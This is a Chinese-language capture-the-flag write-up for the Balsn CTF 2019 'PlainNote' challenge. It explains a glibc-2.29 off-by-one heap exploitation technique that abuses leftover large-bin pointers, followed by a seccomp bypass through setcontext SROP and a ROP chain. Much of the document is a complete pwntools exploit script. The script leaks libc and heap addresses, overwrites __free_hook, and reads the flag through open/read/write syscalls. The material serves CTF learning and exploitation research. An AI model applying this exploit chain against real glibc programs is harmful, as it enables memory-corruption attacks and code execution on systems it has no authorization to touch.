Balsn CTF 2019 pwn PlainText -- glibc-2.29 off by one pypass

TOC

  1. 1. 致谢
  2. 2. 漏洞
  3. 3. 思路
  4. 4. 沙箱绕过
  5. 5. 脚本

真心不错的题目,这题引出了 glibc-2.29 off by one 的全新绕过方法,比赛时仅有RPISEC战队做出来了,赛后我询问了该战队思路,并对其完成复现。

源程序下载:PlainNote.zip

致谢

首先,非常感谢RPISEC战队的Jack Dates所提供的思路,没有这个思路恐怕我还在思考怎么绕过prevsize check

Jack Dates

漏洞

明显的 off off one,难点在于环境是glibc-2.29,由于其增加了新的检查,原先的方法都将失效。

void __cdecl add()
{
_BYTE *v0; // rbx
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]

for ( i = 0; i <= 0xFF && note[i]; ++i )
;
myprintf("Size: ");
size = read_int();
note[i] = malloc(size);
myprintf("Content: ");
if ( note[i] )
{
v0 = note[i];
v0[read(0, note[i], size)] = 0;
}
}

主要失效原因是:glibc 在 unlink 的关键点都加上了 prevsize check,而我们根本无法直接修改正常chunk的size,导致想要 unlink 变得几乎不可能。

if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);

思路

正如 Jack Dates 所提供的思路,我们不需要绞尽脑汁的去思考如何绕过 prevsize check,我们只需要利用 large bin 的残留指针再结合堆的恰当布局,则能构造出一个fake chunk,后面我将其称作fake_chunk_B

主要原理就是利用残余在 large bin 上的 fd_nextsize / bk_nextsize 指针。首先,我们拿回 large bin,后面我将其称作chunk_A,而 fake_chunk_B 就是 chunk_A + 0x10,在chunk_A 的 bk 位置上写好size,fd先不管,然后部分覆盖chunk_A 的 fd_nextsize 到一个我们可以控制其 bk 的 chunk上(比如从 small bin 或者 unsorted bin 中拿出的chunk,如果其bin中有多个chunk的话,那么拿出来的chunk的bk上必定残留了heap指针,我们可以通过部分覆盖使其指向 fake chunk,以便绕过unlink 检查),由于 chunk_A 的 bk_nextsize 我们并没对其修改,所以其指向的是 chunk_A 本身,为了绕过 unlink 检查( p->fd->bk == p && p->bk->fd == p),我们需要将这个该 fake_chunk_B 的 bk 指向其本身,也就是 chunk_A 的 fd 指向chunk_A + 0x10 并且不能修改已经保存好的其他数据,原本我们可以利用 tcache 的链表特性来完成这一操作,奈何 glibc-2.29的tcache会对 bk 也进行修改,那么则会直接改掉 fake_chunk_B 的 szie,导致unlink失败,但是我们任然可以利用 fastbin 的链表特性来完成这一操作,在chunk_A上写好heap地址后,在进行部分覆盖使其指向chunk_A + 0x10,则这样就能绕过 glibc-2.29 的检查。

由于最后一个字节总是有’\0’填充,所以我们需要爆破0x..........00..(点为任意十六进制)这样的heap地址。综上所诉该攻击方式的概率是 1/16

沙箱绕过

__int64 init()
{
__int64 v0; // ST08_8

v0 = seccomp_init(0LL);
seccomp_rule_add(v0, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL);
seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL);
return seccomp_load(v0);
}

由于沙箱是白名单的形式,我们只能利用特定的系统的调用的来拿flag,而且printfputs这类的函数都不能使用,还有setcontext函数也并不能正常使用,因为其中使用了sys_rt_sigprocmask

setcontext函数汇编如下:

.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h]
.text:0000000000055E08 xor edx, edx
.text:0000000000055E0A mov edi, 2
.text:0000000000055E0F mov r10d, 8
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; $!
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn

原本在 glibc-2.27 的话,参数直接是rdi,而不会像这里这样转换到rdx,导致不可以直接利用。

通过仔细观察gadgets,找到了一条非常好用的 gadget:mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

我们可以利用该 gadget 修改 rdx 的值,然后在配合 setcontext 进行 SROP 劫持rsp到heap上,然后在进行ROP将flag读出即可。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './note'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/128gx $rebase(0x202040)
end
b free
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass

def add(size, content):
sh.sendlineafter(': ', '1')
sh.sendlineafter(': ', str(size))
sh.sendafter(': ', content)

def delete(index):
sh.sendlineafter(': ', '2')
sh.sendlineafter(': ', str(index))

def show(index):
sh.sendlineafter(': ', '3')
sh.sendlineafter(': ', str(index))

add(0x418, '\n')
add(0x58, '\n')
add(0x178, '\n')
add(0x158, '\n')
add(0x18, '\n')
for i in range(12):
add(0x18, '\n')
for i in range(7 + 3):
add(0x38, '\n')
for i in range(7 + 4):
add(0x68, '\n')


for i in range(7): # 38
add(0x28, '\n')

add(0x868, '\n') # 45
add(0x5e0, '\n')
add(0x18, '\n')
delete(46)
add(0x618, '\n')
add(0x28, 'a' * 8 + p64(0xe1) + p8(0x90)) # 48
add(0x28, '\n')
add(0x28, '\n')
add(0x28, '\n')
add(0x28, '\n')
for i in range(7):
delete(i + 38)

delete(49)
delete(51)

for i in range(7):
add(0x28, '\n')

add(0x618, '\n')
add(0x28, 'b' * 8 + p8(0x10))
add(0x28, '\x03')

for i in range(7):
delete(i + 38)

delete(52)
delete(48)

for i in range(7):
add(0x28, '\n')

add(0x28, p8(0x10))
add(0x28, 'c' * 0x20 + p64(0xe0))

add(0x4f8, '\n')
delete(54)

context.log_level = 'debug'

add(0x18, '\n')
show(53)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))

add(0x38, '\n')
delete(17) # size: 0x38
delete(55)
show(53)
result = sh.recvuntil('\n', drop=True)
heap_addr = u64(result.ljust(8, '\0')) - 0x1270
log.success('heap_addr: ' + hex(heap_addr))

add(0x18, '\n')
delete(17)
delete(50)
add(0x28, p64(0) + p64(0x31) + p64(libc_addr + libc.symbols['__free_hook']))
add(0x18, '\n')

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
add(0x18, p64(libc_addr + 0x000000000012be97))


frame = SigreturnFrame()
frame.rdi = heap_addr + 0x30a0 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x30a0 + 0x100
frame.rip = libc_addr + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

str_frame = str(frame)
payload = p64(libc_addr + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x30a0) + str_frame[0x10:]

layout = [
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
2,
# sys_open("./flag", 0)
libc_addr + 0x00000000000cf6c5, #: syscall; ret;

libc_addr + 0x0000000000026542, #: pop rdi; ret;
3, # maybe it is 2
libc_addr + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_addr + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
0,
# sys_read(flag_fd, heap, 0x100)
libc_addr + 0x00000000000cf6c5, #: syscall; ret;

libc_addr + 0x0000000000026542, #: pop rdi; ret;
1,
libc_addr + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_addr + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
1,
# sys_write(1, heap, 0x100)
libc_addr + 0x00000000000cf6c5, #: syscall; ret;

libc_addr + 0x0000000000026542, #: pop rdi; ret;
0,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
231,
# exit(0)
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
]
payload = payload.ljust(0x100, '\0') + flat(layout)
payload = payload.ljust(0x200, '\0') + './flag'
add(0x300, payload)
delete(56)

sh.interactive()
clear()